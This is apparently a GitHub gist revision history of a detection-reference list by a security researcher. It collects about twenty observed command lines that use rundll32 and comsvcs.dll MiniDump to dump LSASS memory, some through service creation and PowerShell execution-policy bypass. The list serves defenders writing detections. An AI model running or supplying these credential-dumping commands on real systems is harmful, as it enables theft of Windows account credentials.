JohnLaTwC · January 13, 2025 18:22 · Jun 23, 2021 · Jun 23, 2021
diff --git a/examples.txt b/examples.txt
@@ -3,7 +3,7 @@ By @JohnLaTwC
 References:
 https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
 https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
-
+https://twitter.com/SBousseaden/status/1407742041170268166  - Calling MiniDump export by ordinal examples: (comsvcs,#24)
 
 Detection Examples:
 
@@ -45,4 +45,10 @@ powershell  -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundl
 
 powershell  -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 
 
-powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full"
+powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full"
+
+cmd.exe /Q /c sc create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp1654.log full" 1> \\127.0.0.1\ADMIN$\__1622704760.494238 2>&1
+
+rundll32.exe  comsvcs.dll,#24 600 C:\Users\user\Desktop\lsass.dmp full
+
+sc  create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp.log full" 
diff --git a/examples.txt b/examples.txt
@@ -0,0 +1,48 @@
+By @JohnLaTwC
+
+References:
+https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
+https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
+
+
+Detection Examples:
+
+"C:\Windows\System32\rundll32.exe"  C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full
+
+.\rundll32.exe  C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full   
+
+"C:\Windows\system32\sc.exe" \\server create Dump binpath= "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump <PID> C:\dump.bin full"
+
+"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Users\username\Desktop\<filename>.DMP full
+
+"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full} 
+
+"Powershell" -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id C:\Users\username\AppData\Local\Temp\<filename>.dmp full"
+
+C:\Windows\system32\cmd.exe /c "echo string >NUL & powershell -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\Windows\TEMP\string\string\<filename>.dmp full" & exit"
+
+C:\Windows\system32\cmd.exe /Q /c echo .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat
+
+C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id) C:\Windows\lsass_$(Get-Date -Format dd-MM-hh-mm-ss<filename>dmp full"
+
+C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoP -C C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id
+
+cmd /C "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \\ipv4\pwn\<filename>.dmp full"
+
+cmd.exe  /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full
+
+cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full
+
+cmd.exe /C cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full
+
+cmd.exe /C powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id"
+
+cmd.exe /Q /c powershell -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1
+
+cmd.exe /Q /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\<filename>.dmp full 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1
+
+powershell  -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\temp\blabla"
+
+powershell  -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 
+
+powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full"